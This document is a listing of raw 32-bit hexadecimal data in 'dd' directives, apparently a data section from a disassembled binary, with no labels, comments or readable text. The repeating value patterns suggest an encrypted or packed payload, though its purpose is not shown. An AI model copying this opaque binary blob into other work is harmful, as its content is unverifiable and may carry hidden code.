		dd 7CF15EADh, 6FF9FAB8h, 37EA1DE9h, 943FE614h, 20Fh, 0CA740FAEh
		dd 59FE6145h, 1FAC3DDh,	6EC93F74h, 0C5A56BC0h, 52D5F966h
		dd 0EA0BC1F5h, 3C2318CBh, 0B5B1CBDh, 0BD8A33EAh, 0F90C904Ah
		dd 0F7C06B7Ch, 66C3466Ah, 0CE0C8128h, 3275F443h, 0A6DBC7C5h
		dd 0BDABDA31h, 78415C82h, 7DBA00F9h, 346C442Bh,	0AF127D08h
		dd 56000004h, 8BFEE4A0h, 0FE434F4Bh, 5928B6FAh,	8FF2189Eh
		dd 2D5A404Eh, 3E847946h, 642AD190h, 0CDD10B7Eh,	317760C1h
		dd 0FF58A995h, 0F9F0EA7Eh, 6E2CEE97h, 0EFD82369h, 7EDB4E62h
		dd 1FAE6E0h, 0B2963C0Bh, 0A68A97B7h, 0EE9006A3h, 7CCB0418h
		dd 45BD2B0Ch, 50FD9F72h, 0B4ACD7Ch, 93FCCDD1h, 0A59B4927h
		dd 8D7A81FEh, 1CBDAC80h, 0ABBDC286h, 6C2F5229h,	1142E76Bh
		dd 1B4C31D2h, 0F4CDFDBh, 0D3FF3403h, 0C623696Eh, 5A1B6EECh
		dd 1F8BEABFh, 0A6000004h, 1B6E7430h, 4E33DFDBh,	0A998068Ah
		dd 1F62682Eh, 0BDCAD0DEh, 8E14C9D6h, 0F4BA2100h, 5D619BEEh
		dd 8107F0B1h, 8F285905h, 0F9F0EACEh, 6EDC1E07h,	0EFB32969h
		dd 0F19E6BB2h, 0EBEBAADDh, 10931EAFh, 0C4E5A951h, 0FABDEB7Bh
		dd 0A12D1A01h, 1DDE8100h, 66C77497h, 0F9FABDF5h, 0BD76572Ch
		dd 0C3377690h, 0BDED6EFFh, 4F24F9FAh, 0ADEC6F12h, 0F45D6E2Ch
		dd 7E30F67h, 1F5EC1BEh,	7336DCDAh, 0C7CB0A86h, 0E4518E14h
		dd 1445E265h, 0CDF7D2EFh, 47CE5576h, 0EFF263C4h, 0EE2EF7D2h
		dd 0A9CF09D8h, 0C815A6ACh, 611283F8h, 463F88C5h, 0D572F5D9h
		dd 0A306C69h, 7EAECBA0h, 0CDF89826h, 360D9B8h, 0EFE90000h
		dd 9A5A2FABh, 49B1F01Eh, 0EDE85945h, 9D5E23AFh,	957C8B17h
		dd 0C1CDD308h, 0AF2B7960h, 769C20DAh, 0DAC0C633h, 0D4EEB1Ah
		dd 0C4F9F0EDh, 696E9D59h, 0B90F40E9h, 69C6FC18h, 31A6E93Ch
		dd 2089D27Ch, 0FC18A82Fh, 0C28089E6h, 0FFFA2DE6h, 0D8E16AB1h
		dd 0DB4E62EFh, 0FA814C7Eh, 59C8A701h, 0FD8E416h, 16DC61Bh
		dd 0FFC0000h, 6448D591h, 0C3D644E5h, 320901FAh,	0BA1469CEh
		dd 0B3D0F4B7h, 934FE89Fh, 0BAFAE5CEh, 0DC41BECDh, 42D079E8h
		dd 0CE00FF2Bh, 8F4C4C8Fh, 4B1D401h, 0D50267A3h,	0A4E79AD7h
		dd 317D7F33h, 59FE61EAh, 0FAFE2A18h, 990572C9h,	0C692FA8h
		dd 35E461Ah, 9F69C85Dh,	26000002h, 9BEEF4B0h, 0CEB35F5Bh
		dd 2918860Ah, 9FE2E8AEh, 3D4A505Eh, 0E944956h, 743AA180h
		dd 0DDE11B6Eh, 1877031h, 0FA8D985h, 0F9F0EC4Eh,	0AE5C9E87h
		dd 0CAA55939h, 8275D6A0h, 3F74E104h, 7A36A3AEh,	6FEC3F7Dh
		dd 0C19A0F32h, 489A6AAh, 2D9AA13Ah, 0BC1D0C20h,	1FA39A6h
		dd 0A0E61352h, 2EB48307h, 761B5B3Ah, 0C8A2F52h,	470419CFh
		dd 0FD9FB8E8h, 0B813FB4h, 0FC0F8D48h, 88956E7Fh, 0CE04A5A4h
		dd 619B5C30h, 1906F30Ah, 30B33235h, 91ACA697h, 7430A45Ch
		dd 0C1BEA411h, 26039FF8h, 0DDAAA177h, 0A8EEEBAAh, 0BB01F6B9h
		dd 34D2EB60h, 0C90C8475h, 2F6996C3h, 2C63D649h,	1E0F659h
		dd 6F690000h, 1ADAAF2Bh, 0C931709Eh, 6D68D9C5h,	1DDEA32Fh
		dd 15FC0B97h, 414D5388h, 2FABF9E0h, 0F61CA05Ah,	5A4046B3h
		dd 8DCE6B9Ah, 44F9F0EFh, 696E1DD9h, 7C7D3C23h, 0B9E253F4h
		dd 4433FC18h, 6E7FFC0Fh, 4165EAC7h, 565C9FDEh, 0BDAD0A75h
		dd 5401FABDh, 18F5F31Fh, 3B3C9D7Bh, 0EAFC18B9h,	0BE21209Dh
		dd 3DB9F7FFh, 7CA92279h, 0E8C873DBh, 0F8C1B16Eh, 13BF09Fh
		dd 3B2E0502h, 62E57F78h, 0A60A8DC9h, 0CA8DBCE9h, 4B4F870Bh
		dd 68D9CD1Eh, 53D2296Fh, 28ACEA10h, 67DC196Ch, 0C6E06D46h
		dd 2F528F15h, 0E970958Ah, 0C0473C07h, 2F525881h, 0D2EE4DBAh
		dd 15B24EAFh, 0F7C85A24h, 704986FDh, 0A05417AAh, 6B37A5E4h
		dd 70EAEF52h, 5ADCFD3Bh, 9925D7EAh, 3170F72Ch, 36A7C6CCh
		dd 2C318E95h, 95460938h, 0B6D5D105h, 0B0FFC805h, 58B4E31h
		dd 249F5BA4h, 0EAAD0A2Ah, 125BA2EEh, 99E65DC9h,	0F891C5C9h
		dd 0D7ECB7D2h, 7E000000h, 0D3963C78h, 67B6723h,	61C0CED2h
		dd 0D7AA3076h, 0C5729826h, 565C811Eh, 0BC02F948h, 0E5A95316h
		dd 494F88F9h, 0C760814Dh, 0F9F0EE96h, 1804C64Fh, 51D0577Bh
		dd 85A6EAEEh, 0FC18B9D4h, 6A95360Dh, 10BBACDh, 81E45302h
		dd 70D9995Eh, 0F9F0EBFFh, 81265916h, 0F9F0EBD0h, 0D1FD2A01h
		dd 0DA216790h, 0A0BECC7Dh, 0B1F7FEF8h, 0CD8E2B6Ah, 4FB003Ch
		dd 64FCF82Fh, 4152E919h, 0E9DCA77h, 3E8272F4h, 8764E08h
		dd 9A9D15CFh, 0BE200B6h, 0B0CA76Bh, 1F4751Dh, 0F5114EBBh
		dd 0D572F574h, 0FB001564h, 0F465C6BDh, 2DFB0015h, 153A3B9Ch
		dd 9CEBFB00h, 1EDB8627h, 13C20D98h, 0AEA87695h,	296F68D6h
		dd 9D1BDCADh, 7492070Eh, 0D5ACE744h, 3FB4667h, 3000000h
		dd 686E9DA7h, 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h
		dd 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h, 68F27883h
		dd 110Ah, 68242C89h, 17F9h, 57243489h, 0C781E789h, 4, 8704EF83h
		dd 895C243Ch, 6857242Ch, 7F343F14h, 81DFF75Fh, 0E36EA5EFh
		dd 8BFE897Ah, 0C483243Ch, 602D6804h, 24890000h,	24048124h
		dd 4, 868535Dh,	5B000000h, 3389EB01h, 2434FF5Bh, 4C4815Dh
		dd 0FF000000h, 835E2434h, 9CE904C4h, 8FFFFA27h,	8859DC08h
		dd 0F140CD09h, 0E8580CB8h, 0FFC50305h, 2117B1E0h, 0EA47EB77h
		dd 459A806Ah, 0FDEF5605h, 0A3F2893Dh, 42B98D4Ah, 7E830h
		dd 2D660000h, 57DC569h,	58F78B7Fh, 81D2B70Fh, 68E6C0h
		dd 6800h, 8B660000h, 0FBE59F3h,	0FF7F1858h, 0B70F0134h
		dd 8B665BFAh, 38EB81D3h, 81611E69h, 21F011EBh, 3FEBBF6Ch
		dd 0C3813EBCh, 266B34F8h, 0AB36DF81h, 0F953793Ch, 0F08048Fh
		dd 689h, 8FE68100h, 810D5094h, 21FE87E9h, 3840F73h, 52000000h
		dd 0C1815AFCh, 7321FE83h, 5B9BBA66h, 97CCF981h,	850FFFFFh
		dd 1Dh,	0F8F6B060h, 2EE961h, 0B41F0000h, 0B0C73346h, 9AEA8A67h
		dd 2DB6B379h, 5DA55DF9h, 0C68166B9h, 7CE97515h,	0FFFFFFh
		dd 0A23C21BEh, 13059908h, 26600740h, 0EA511304h, 8EBh
		dd 16530000h, 0EFE9139Fh, 68000004h, 5E85A60h, 0FA269EE9h
		dd 5AD868FFh, 94E905E8h, 68FFFA26h, 5E85C1Fh, 0FA268AE9h
		dd 0B6F2E4FFh, 199D5928h, 404C8CFDh, 0AAF0E75Ah, 12A05D2Ch
		dd 7987FF4h, 7FC2C8D6h,	0D9A8367Ch, 0E739F23h, 1FC7C3C9h
		dd 0E01041E6h, 5CC1F9F0h, 276D6E9Eh, 5E5C9DC4h,	0E971682Bh
		dd 18B90F40h, 3C69C6FCh, 57FCFFABh, 3B6BCC73h, 6A01FADFh
		dd 6FA4E217h, 9F3E331Ch, 6C2DF9FAh, 9BE2B02Dh, 0F5C18952h
		dd 0E6395FB2h, 4C8FCE3Fh, 0B9386546h, 2000002h,	0A3E7EFAEh
		dd 97307C7Ch
		dd 9885B1C9h, 7332B5B4h, 77E40783h, 0E7C0C430h,	0FAC3189Eh
		dd 84C4B301h, 8917C285h, 14D3D730h, 0FA67FC9Ch,	0ACF653D6h
		dd 0E702BDAEh, 9F847D88h, 0B13B4ABh, 9A08D364h,	0FEFBBAADh
		dd 1C975364h, 88C5DC42h, 20BA3F02h, 0A70B9BECh,	0EE0B40A9h
		dd 0FB3968EBh, 40C8ABFEh, 0E000003h, 63C6CCC8h,	0D6AB3773h
		dd 31709E22h, 67DAC0C6h, 15A22876h, 0E6AC516Eh,	4C5289F8h
		dd 0B5F9E346h, 199F5829h, 17B0F1FDh, 0F9F0E326h, 1874B6FFh
		dd 51D0577Bh, 19A2E6EEh, 11264B0h, 8DBC8B02h, 78311CAh
		dd 90EBB922h, 0F0E3BDB7h, 4EDE4BF9h, 901EDF90h,	8357C075h
		dd 84CB1CCEh, 12985F53h, 2E2F888Bh, 0E7F9F0ACh,	99E65388h
		dd 45CCC12h, 0C8A58C99h, 0B6000002h, 0EB5E4440h, 5E23AFEBh
		dd 0B988169Ah, 0EF52783Eh, 8D3AA0EEh, 9E24D9E6h, 0C4CA3170h
		dd 2D716BDEh, 9117C0A1h, 9F384975h, 0F9F0E3DEh,	18CC0E77h
		dd 0E1528B7Bh, 0BB195AFFh, 73C8FC18h, 55B1D6DAh, 54C06918h
		dd 0FB020190h, 6310798Ch, 51F9F065h, 5E81E4AAh,	89881399h
		dd 0F0652F20h, 3489E6F9h, 0AAFE4232h, 0FCD1582Ch, 533FECEBh
		dd 16Ch, 23696E97h, 906099D8h, 18B90637h, 2B60DFFCh, 49A7ACAFh
		dd 18B96FE0h, 9CC9A6FCh, 0D86E4CEDh, 16A101FAh,	0F5E1D466h
		dd 0FA6DDA2Bh, 65B11A6Dh, 0BC0DF796h, 85BBC891h, 5389F9FAh
		dd 44B53C4Fh, 0DEDA0346h, 0C3089319h, 0A3A57796h, 0DD1B6DD3h
		dd 4B6BA6E9h, 20C03FE6h, 0FA000000h, 0D0577B18h, 0FAD1C777h
		dd 0DA211E01h, 0FAA1C07Dh, 0A195D3F9h, 0E62BB36Eh, 0A3183Fh
		dd 0AE220000h, 14471339h, 0F19A270Dh, 0F04E22CDh, 0B3697CDh
		dd 32BDC8CEh, 0E1A0FBC9h, 0A73DE868h, 3574FBBBh, 36A7C6C4h
		dd 6F2DAA95h, 6624D51Ch, 9634EF78h, 5582FC18h, 83804B57h
		dd 4F9B8AFh, 45E22DBEh,	1FD45B7h, 2F6E116Eh, 87FAE0AEh
		dd 62234856h, 0D5046004h, 181D1B0h, 87710000h, 32A28703h
		dd 0E1196876h, 857031DDh, 35A69B07h, 2DD4636Fh,	0B9256B90h
		dd 78311C8h, 0EEF4B822h, 0B2585E9Bh, 65D673B2h,	0BCF9F0E5h
		dd 6D6E35F1h, 4706BB27h, 7FFC0F93h, 555E0ADEh, 60794BAAh
		dd 14B2F8E1h, 23696E2Eh, 506099D8h, 2DA9E6AAh, 1E01252Ah
		dd 0FB0546B9h, 51D0AF01h, 3BA7EDEEh, 331E1186h,	40C3CF31h
		dd 0BF61B9D2h, 96376C57h, 0FA33304Dh, 0D7D502F9h, 0F58576CBh
		dd 0FA33E354h, 84532F9h, 0E5178019h, 22666D18h,	0EC93F299h
		dd 0AB000000h, 0E58B7B18h, 5C755A22h, 7C1A5BFCh, 7CCBFC18h
		dd 0F257CA07h, 201D79Eh, 0B44BD2Ah, 5F2AD4DFh, 3C23188Eh
		dd 32034DABh, 78EF8F60h, 0F12B9EDFh, 0EFF8B7F9h, 2DC1D44h
		dd 2FABE03Ah, 0BAD31863h, 0E552B199h, 60C948F9h, 0F9F139EFh
		dd 0F1704926h, 0DC9F8208h, 40F15618h, 91F9F139h, 315C6DDAh
		dd 0E96ACF4Eh, 0E3F9F139h, 0D1AEB4FAh, 394809AEh, 0A299F9F1h
		dd 8284B019h, 47B01779h, 702D2E8Bh, 8FE4E078h, 5388CB52h
		dd 95D53E4Dh, 612B5FA1h, 0EAB02995h, 5E5C9DECh,	815184CFh
		dd 78703738h, 2491EEE0h, 575D9EC1h, 414D8D34h, 864EB13Ah
		dd 501AFB02h, 47CA1C64h, 0B6D5D304h, 0CABAA405h, 0BCFAFDBCh
		dd 0FFB3242Bh, 2C57B6FCh, 7870CA8Bh, 0F72C1BE0h, 9B1287BAh
		dd 82CDB0FCh, 0EC5D4992h, 0F75EADEBh, 3, 6E9DA70Fh, 96D92C68h
		dd 81C05B61h, 8D34575Bh, 0BA25404Eh, 0A9287341h, 0D41F6E34h
		dd 0C1009B21h, 0CF769519h, 0F2788307h, 81E28952h, 4C2h
		dd 4EA8300h, 2474FF52h,	48F5A04h, 89535C24h, 4C381E3h
		dd 83000000h, 1C8704EBh, 1C895C24h, 1F0C6824h, 2C890000h
		dd 21685024h, 58333239h, 77425205h, 296E353Dh, 0C3893017h
		dd 6DC38158h, 68C52A07h, 1D6Ch,	83242489h, 5D042404h, 8904EC83h
		dd 3481241Ch, 4D40CC24h, 8458F35h, 0CC087581h, 8B354D40h
		dd 8952242Ch, 4C281E2h,	83000000h, 148704C2h, 34FF5C24h
		dd 0C4815B24h, 4, 0FA21BEE9h, 0B1DF8BFFh, 0C5B8FAFBh, 305E85Dh
		dd 44E0FFC5h, 0C5215A2Ah, 2A535740h, 0E56DD842h, 0C354692h
		dd 755D2AC4h, 833C8DA8h, 0BF1399FBh, 0B549805Dh, 9D09EEA3h
		dd 0E12028A5h, 94469C11h, 0C50D3A8h, 7A35AF79h,	476505A7h
		dd 0E34C9320h, 7B6EA54Dh, 6E083A79h, 8D2FC2A4h,	0E85F308Dh
		dd 7E905h, 2D8E0000h, 0A1A217C1h, 0E98D894Ah, 6A05E20Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0C4E6C356h, 0BD090FA4h, 5E20AD5h,	76185C7h
		dd 6A5805E2h, 0F5520000h, 5585C75Bh, 5E21Bh, 0E8000000h
		dd 8, 5A382B7Eh, 621C7517h, 5ED7DF80h, 1CD1B5FFh, 858B05E2h
		dd 5E21AA1h, 0B1595FFh,	0BD3305E2h, 5E20A5Dh, 95FF006Ah
		dd 5E20AB9h, 4CEBC08Bh,	0D9941C47h, 94768102h, 1838897Bh
		dd 0E0C92B55h, 1F9395Bh, 0F3C99C71h, 8E018C7Fh,	987C3E82h
		dd 6541EABBh, 2B5A5460h, 379AB084h, 3BA480A9h, 594BA251h
		dd 3EBAEC1Dh, 0B6EE40E4h, 419D5532h, 23BCEFD6h,	59FDFF53h
		dd 35DFEF0Fh, 0B13EE853h, 8E32565Dh, 8E0666ACh,	0B1325655h
		dd 0B13256ABh, 0E5A04AD5h, 0E4F490EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132545Dh, 0BB3581AEh
		dd 0A3325257h, 0BD325DABh, 42325AD5h, 0F23256EBh, 0F2325677h
		dd 0B132EEB8h, 0E362565Dh, 0E96867A1h, 0E3626758h, 0E96867A4h
		dd 803D0E8Fh, 0A0DBCA8Ah, 14325675h, 90BA7DC0h,	0EC06511Bh
		dd 0E892F57Ch, 0A4FEA949h, 9E2D7CDh, 0B134BF9Eh, 46C456EAh
		dd 22B09B11h, 0BE600627h, 0D06A0C6Ch, 85BB0EF4h, 0E9683773h
		dd 0D0520438h, 0E36267DAh, 0E96867E5h, 0E9680E2Fh, 78B3302Ch
		dd 0A5DBA5A3h, 1D3256AEh, 29495C22h, 0F565805Ah, 1C134F8h
		dd 6D7DF8C3h, 2C59EC90h, 0D0EADDDCh, 0B13256CDh, 12E00B9Ah
		dd 4E2C0FF7h, 0AA184367h, 38533748h, 583672AEh,	0B1325679h
		dd 22B09BDEh, 5EFC9F8Dh, 0BAE8D352h, 246A0C0Fh,	0B5161222h
		dd 0B1325A3Ch, 0E3EFE2EAh, 2FEB7656h, 1BA71AC5h, 0EB530EC6h
		dd 216AC0F6h, 0B0DA5D57h, 8CA6B10Dh, 8832D5E7h,	441E8994h
		dd 0B51612FCh, 0B1325053h, 75E5005Dh, 0E941B403h, 30F9CC12h
		dd 0CAFF3062h, 0B13EBFB4h, 4C6656EAh, 48F21587h, 4DEC984h
		dd 0BEAFED17h, 0EB539D19h, 0B1320E0Fh, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h
		dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h
		dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh
		dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh
		dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh
		dd 0B1325675h, 0B13256BAh
		dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h
		dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh
		dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B1DA36EAh, 0EB325675h
		dd 0D372BC3Bh, 34BF53B5h, 0B4D5E3CBh, 0EEA4D4DEh, 33BF5343h
		dd 0B4DABCDAh, 0EEA8D463h, 0FFDA539Dh, 593256B3h, 0B1325626h
		dd 0EEB4D469h, 0B13253BFh, 776056ABh, 53381F50h, 0E35A00EFh
		dd 4EAEFECDh, 5324F70Fh, 0D0B7DB58h, 4E37B3D4h,	0D0B7DF87h
		dd 0DB37B48Dh, 0A1323ED1h, 0F15A56EAh, 0DB325578h, 0EBE2A9BAh
		dd 82469656h, 0EEB4D427h, 33BB53BFh, 0B4DA0921h, 0B23F166Ch
		dd 82CADDEAh, 0E398A5B5h, 0B15A52D0h, 0D932564Dh, 0B13252AEh
		dd 23CD563Dh, 0B4D070CAh, 6BB0DF8Fh, 0D037BEB5h, 0EEB4D3FEh
		dd 0D1F15352h, 0B07BD49Ah, 0B132534Ch, 33F55617h, 0B4D05F0Eh
		dd 0B13246D5h, 3A52958Bh, 596DD0CFh, 0B10DD5BFh, 0CEB17529h
		dd 0BA4654BEh, 0B52229D4h, 76B158DFh, 76D8BDC1h, 0B13346ADh
		dd 43D95675h, 0B222117Dh, 5A32565Dh, 0E4F13747h, 5952BADCh
		dd 0B13256ABh, 84D8D78Fh, 3A37BE89h, 596D88C7h,	0B977DDBFh
		dd 33B150D4h, 0B4DA0970h, 73FB3753h, 595256AFh,	0B13256D5h
		dd 0E8D8D7B0h, 3A37BE16h, 596D8C08h, 6F806D58h,	0C537BEF1h
		dd 3A0CDD6Ch, 0FE845974h, 0B075A0D4h, 0B236236Ah, 9A30BDACh
		dd 3A711563h, 53393FD8h, 0A0BFDDABh, 8A37B456h,	8A3B2473h
		dd 3237210Ch, 78D9522Ch, 0B946994Eh, 0B023EB33h, 6D953BFh
		dd 595295CFh, 0B1325657h, 0D8D7F1h, 3A37BEB6h, 596D8C50h
		dd 0B032EF70h, 710156BAh, 33B9FDAEh, 0B4DA0974h, 0EEECD4DEh
		dd 72535343h, 0B132BEB5h, 306856EAh, 59518D9Fh,	0F8B790BFh
		dd 0E737B457h, 0AE5F6FC6h, 1087A983h, 3C37B4BDh, 54483750h
		dd 0E3E2A9EFh, 31323E25h, 0B15856BAh, 0EEB4E4A2h, 61CD5346h
		dd 0B15A0C0Fh, 0DB32562Bh, 6B80A9D5h, 4E37BEB5h, 0E4F137A5h
		dd 5952BA31h, 0B132565Dh, 98D8D7F4h, 3A37BE33h,	29DA5EDEh
		dd 0E43256D7h, 0EEA4C415h, 8A6F539Dh, 5F475ACFh, 0B130D0B5h
		dd 73FB37AEh, 3A67565Fh, 4DF6D547h, 59610183h, 0B13256EAh
		dd 0ECD8D72Fh, 3A37BEDEh, 0CCB95E28h, 596401BEh, 0B1325660h
		dd 904696A0h, 4E67AE5Eh, 596DC078h, 0C4090B70h,	0D72022B6h
		dd 56B248D6h, 312CDC5Eh, 2CDAA6B4h, 5A3256ADh, 4D4FDF01h
		dd 4ECC0B02h, 0EF6D0D8Ah, 78CE1331h, 0E4325A9Fh, 75B1BA25h
		dd 0E06401AFh, 497791F8h, 0B13256D5h, 0EEF4D42Dh, 0B133539Dh
		dd 0C4B956BAh, 0AFB93055h, 0EEB4EC25h, 0EEB953BFh, 0C5E95DA3h
		dd 0C4EC6DDAh, 0BD6FDDECh, 323E09FCh, 5BD9427Dh, 312CDD3Bh
		dd 353DBE55h, 0B1325699h, 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh
		dd 0B18ED27Ah, 4AB256BAh, 1DB659BFh, 313256AEh,	353DB5ACh
		dd 0B1325631h, 0D6C9D7B3h, 29B65909h, 31325675h, 3054A65Dh
		dd 0BEB259A6h, 0B132C72Ah, 41D1D657h, 0BE42AD2Bh, 0B132D351h
		dd 0AFB930EAh, 31CAB5F5h, 0F346EE41h, 0C53768DDh, 9C0CD693h
		dd 8FB26E23h, 4E0122C3h, 596D9057h, 0AFB930EFh,	0D7CAB1F5h
		dd 59B3AD3Bh, 3A547629h, 41D5D6B0h, 30C9D731h, 0D121226Bh
		dd 27A0A980h, 0EC37BEB5h, 0D0CE13FCh, 0B0CE2B39h, 0BB93528h
		dd 0B4D057E7h, 77B0DD07h, 8837BEF4h, 0C36A66E9h, 1488DDBAh
		dd 0E137B47Ch, 0EEF4D431h, 8D0B53B5h, 8C4D0E9Eh, 0F4F546BCh
		dd 0B1325453h, 7635BDD5h, 0B133AEAFh, 0BB95675h, 0B4DA093Ch
		dd 6A3949D6h, 6F0949DAh, 0ECB95922h, 494FD5A7h,	0B23122D5h
		dd 0EEBBAEB7h, 0A5F5D571h, 7101B451h, 0B13296B4h, 0AFB930AEh
		dd 313E2BDCh, 0BB46BD50h, 31C2B555h, 0A7462611h, 0B6F4649Eh
		dd 0B0759153h, 0B132565Dh, 71B19125h, 0B1A5BF52h, 765456ABh
		dd 3B3A59D2h, 0BED1D6F4h, 39B29DF5h, 0F6F557E5h, 0B132565Fh
		dd 32F5DDAEh, 0C8D95097h, 210CD7CDh, 313D2245h,	0BF47C6D4h
		dd 4E4CD713h, 0B346C62Ah, 76B952B6h, 33BF0945h,	0B4DA09B5h
		dd 23CD00FBh, 0B4DA094Fh, 0BB4696E1h, 3BF9EFEh,	0B4DA0958h
		dd 3A6446B6h, 23CD0360h, 0B4DA09C1h, 46FC7DF6h,	0CCB1080Ch
		dd 0A1475712h, 0D7981FC5h, 0D7B75902h, 0F78459F6h, 0AAD9FDAFh
		dd 0B3CA2BD4h, 95445DEh, 1A549FDEh, 353DEE8Ch, 73DFD13h
		dd 5A9957FCh, 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h, 5DB903ABh
		dd 0B132BEB5h, 306856EAh, 5954ED9Fh, 0B977DDBFh, 0EEBCD4D4h
		dd 78535346h, 0E4325295h, 75B1BA20h, 0B1DA362Dh, 0EB3256EAh
		dd 0D7EEBCF4h, 0F4F55352h, 0B13256A5h, 4D7791AEh, 0B1325657h
		dd 3A549698h, 77B091CBh, 0B037BEB5h, 0D7325675h, 21A2AD3Bh
		dd 4AB25628h, 0B9B65946h, 0F1325656h, 0BEDBAD2Bh, 0B132A851h
		dd 4AB216EAh, 45B6599Eh, 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh
		dd 0B1D7D258h, 333156ABh, 0B4D048A0h, 53C9D6AAh, 0B1FCD27Ah
		dd 4AB256BAh, 0DB659BEh, 0D73256AEh, 5255ADD6h,	0B188D2A4h
		dd 52B256D5h, 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh, 49D1D643h
		dd 0C58AAD2Eh, 0B40CD610h, 8FB214DFh, 310F22F8h, 89463ED4h
		dd 77B0A935h, 0D737BEE5h, 56B248D6h, 4AB33056h,	9546BED6h
		dd 312CDDCDh, 3054A632h, 0C5F2D711h, 4E673662h,	596DC028h
		dd 0F4BB0B58h, 0CCB13752h, 343D57ABh, 0B1325783h, 0B07BEC5Eh
		dd 3A625308h, 596D90F7h, 810E6FBFh, 0A0B05905h,	3A3256AFh
		dd 533BF3EDh, 33B906AEh, 0B4DA0913h, 0E9026AD3h, 0B1C8D97Ah
		dd 0BB956BAh, 0B4DA09D7h, 0EEB8D42Dh, 382653BFh, 0A175DF9Ch
		dd 77B0DD85h, 3A37BEB5h, 386A6669h, 64DB5EE5h, 7632565Dh
		dd 0B130AEEBh, 0B6D95657h, 0B0CA136Ch, 3A3256D5h, 596DDC50h
		dd 3BB0D570h, 0A537BEE5h, 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h
		dd 0B4DA096Dh, 0B13256D7h, 49B15301h, 326D2B77h, 0C532AEC7h
		dd 0F7845946h, 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh
		dd 323256EAh, 0BAD9539Dh, 77A8DDE9h, 3A37BE02h,	186965AAh
		dd 31325657h, 773142DEh, 0B2379656h, 596D9068h,	0F6BB1E70h
		dd 0BD75DFB2h, 69C500B6h, 69C59085h, 0B23796D4h, 596D9029h
		dd 0F6BB1ED0h, 0BD75DFE2h, 7101689Eh, 19331030h, 0B21323DDh
		dd 0B3F2D568h, 0B13257ECh, 0C5E95DABh, 0CCA8DCDCh, 3137B150h
		dd 72315796h, 383A1133h, 0A5D95A1Ah, 4E178E59h,	9A325657h
		dd 32EAA16Dh, 0F6BB5415h, 0BD75DFE2h, 72FB378Dh, 32DEDDEFh
		dd 5952AA99h, 0B13256AEh, 5CD8D70Dh, 3A37BEC3h,	596DD06Fh
		dd 32FB65EFh, 353D564Ah, 0B1325678h, 0C4CD51D6h, 0B947A9A2h
		dd 0B041BE07h, 0B44156ABh, 5A269156h, 4D77DF08h, 4E3E238Ah
		dd 86CD5ECFh, 0B1330AB5h, 26B059AEh, 3A325657h,	0B60BAAEEh
		dd 0B1BED4DAh, 0F4CD56EAh, 0B54DD589h, 323A22BAh, 0C5325A22h
		dd 93CBDACh, 4ECDA9A8h,	0B1325312h, 5A99A5D5h, 0A14DD529h
		dd 323D2270h, 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh
		dd 0BD6DDDAFh, 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh
		dd 0A1677D59h, 3A2603ADh, 6B195A08h, 0EB37BD28h, 0F6B9443Eh
		dd 0BD6DDDEEh, 3236095Eh, 3B315351h, 0B4D0742Ch, 0B222292Dh
		dd 9A735722h, 0B06EDF72h, 4ECDEED4h, 0B48BA915h, 42325675h
		dd 4E64BF11h, 7853A9A2h, 0E432466Ch, 75B1BADCh,	0B1DA3657h
		dd 0EB3256D5h, 0D8EABC6Bh, 0BB9539Dh, 0B4DA093Ch, 8EB19F6Eh
		dd 20B659AEh, 3A325657h, 0BD47A9ACh, 0E13A232Ah, 0B132DE02h
		dd 32372575h, 53D9427Dh
		dd 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh, 0B13256DAh, 0F4B93CA7h
		dd 0C3356F16h, 4D77A916h, 0B1362939h, 0CEB15E29h, 0B34656A2h
		dd 4E8A58BCh, 8CDA954h,	0B13256D0h, 7AD9FD19h, 0B42229F6h
		dd 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh, 0B575DDB6h
		dd 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h,	0A14DD558h
		dd 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah,	0B13256EFh
		dd 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh, 0C33E136Ch
		dd 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h, 5DB903BAh
		dd 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B4DA3C05h, 6A019FE6h
